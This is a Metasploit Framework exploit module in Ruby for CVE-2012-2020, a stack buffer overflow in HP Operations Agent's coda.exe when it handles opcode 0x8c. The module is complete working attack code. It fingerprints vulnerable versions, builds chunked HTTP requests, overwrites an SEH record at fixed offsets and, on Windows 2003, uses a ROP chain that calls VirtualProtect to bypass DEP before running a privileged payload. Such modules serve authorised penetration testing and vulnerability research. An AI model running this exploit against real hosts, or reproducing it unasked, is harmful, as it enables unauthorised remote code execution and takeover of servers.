## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize super( 'Name' => 'HP Operations Agent Opcode coda.exe 0x8c Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow vulnerability in HP Operations Agent for Windows. The vulnerability exists in the HP Software Performance Core Program component (coda.exe) when parsing requests for the 0x8c opcode. This module has been tested successfully on HP Operations Agent 11.00 over Windows XP SP3 and Windows 2003 SP2 (DEP bypass). The coda.exe components runs only for localhost by default, network access must be granted through its configuration to be remotely exploitable. On the other hand it runs on a random TCP port, to make easier reconnaissance a check function is provided. }, 'Author' => [ 'Luigi Auriemma', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'Platform' => 'win', 'References' => [ [ 'CVE', '2012-2020' ], [ 'OSVDB', '83674' ], [ 'BID', '54362' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-115/' ] ], 'Payload' => { 'Space' => 1024, 'BadChars' => "", 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500 'DisableNops' => true }, 'Targets' => [ [ 'HP Operations Agent 11.00 / Windows XP SP3', { 'Ret' => 0x100e79eb, # ppr from OvSecCore.dll 'Offset' => 2084 } ], [ 'HP Operations Agent 11.00 / Windows 2003 SP2', { 'Ret' => 0x10073c2c, # stackpivot # ADD ESP,404 # RETN from OvSecCore.dll 'Offset' => 2084, 'RopOffset' => 36 } ] ], 'DefaultTarget' => 1, 'Privileged' => true, 'DisclosureDate' => 'Jul 09 2012' ) end def junk(n=4) return rand_text_alpha(n).unpack("V")[0].to_i end def nop return make_nops(4).unpack("V")[0].to_i end def check res = ping if not res return Exploit::CheckCode::Unknown end if res !~ /HTTP\/1\.1 200 OK/ return Exploit::CheckCode::Unknown end if res =~ /server:.*coda 11.(\d+)/ minor = $1.to_i if minor < 2 return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end if res =~ /server:.*coda/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def ping ping_request = <<-eos Ping /Hewlett-Packard/OpenView/BBC/ping/ HTTP/1.1 cache-control: no-cache connection: close content-length: 0 content-type: application/octetstream host: #{rhost}:#{rport} pragma: no-cache targetid: unknown targeturi: http://#{rhost}:#{rport}/Hewlett-Packard/OpenView/BBC/ping/ user-agent: BBC 11.00.044; coda unknown version eos connect sock.put(ping_request) res = sock.get_once(-1, 1) disconnect return res end def exploit peer = "#{rhost}:#{rport}" print_status "#{peer} - Ping host..." res = ping if not res or res !~ /HTTP\/1\.1 200 OK/ or res !~ /server:.*coda/ print_error("#{peer} - Host didn't answer correctly to ping") return end connect http_headers = <<-eos GET /Hewlett-Packard/OpenView/Coda/ HTTP/1.1 cache-control: no-cache content-type: application/octetstream expect: 100-continue host: #{rhost}:#{rport} pragma: no-cache targetid: unknown targeturi: http://[#{rhost}]:#{rport}/Hewlett-Packard/OpenView/Coda/ transfer-encoding: chunked user-agent: BBC 11.00.044; 14 eos print_status("#{peer} - Sending HTTP Expect...") sock.put(http_headers) res = sock.get_once(-1, 1) if not res or res !~ /HTTP\/1\.1 100 Continue/ print_error("#{peer} - Failed while sending HTTP Expect Header") return end coda_request = [ 0x0000000e, 0xffffffff, 0x00000000, 0x0000008c, # Operation 0x8c 0x00000002, 0x00000002 ].pack("N*") if target.name =~ /Windows XP/ bof = rand_text(target['Offset']) bof << generate_seh_record(target.ret) bof << payload.encoded bof << rand_text(4000) # Allows to trigger exception else # Windows 2003 rop_gadgets = [ 0x77bb2563, # POP EAX # RETN 0x77ba1114, # <- *&VirtualProtect() 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN junk, 0x77bb0c86, # XCHG EAX,ESI # RETN 0x77bc9801, # POP EBP # RETN 0x77be2265, # ptr to 'push esp # ret' 0x77bb2563, # POP EAX # RETN 0x03C0990F, 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) 0x77bb48d3, # POP EBX, RET 0x77bf21e0, # .data 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN 0x77bbfc02, # POP ECX # RETN 0x77bef001, # W pointer (lpOldProtect) (-> ecx) 0x77bd8c04, # POP EDI # RETN 0x77bd8c05, # ROP NOP (-> edi) 0x77bb2563, # POP EAX # RETN 0x03c0984f, 0x77bdd441, # SUB EAX, 03c0940f 0x77bb8285, # XCHG EAX,EDX # RETN 0x77bb2563, # POP EAX # RETN nop, 0x77be6591, # PUSHAD # ADD AL,0EF # RETN ].pack("V*") bof = Rex::Text.pattern_create(target['RopOffset']) bof << rop_gadgets bof << payload.encoded my_payload_length = target['RopOffset'] + rop_gadgets.length + payload.encoded.length bof << rand_text(target['Offset'] - my_payload_length) bof << generate_seh_record(target.ret) bof << rand_text(4000) # Allows to trigger exception end coda_request << [bof.length].pack("n") coda_request << bof http_body = coda_request.length.to_s(16) http_body << "\x0d\x0a" http_body << coda_request http_body << "\x0d\x0a\x0d\x0a" print_status("#{peer} - Triggering overflow...") sock.put(http_body) disconnect end end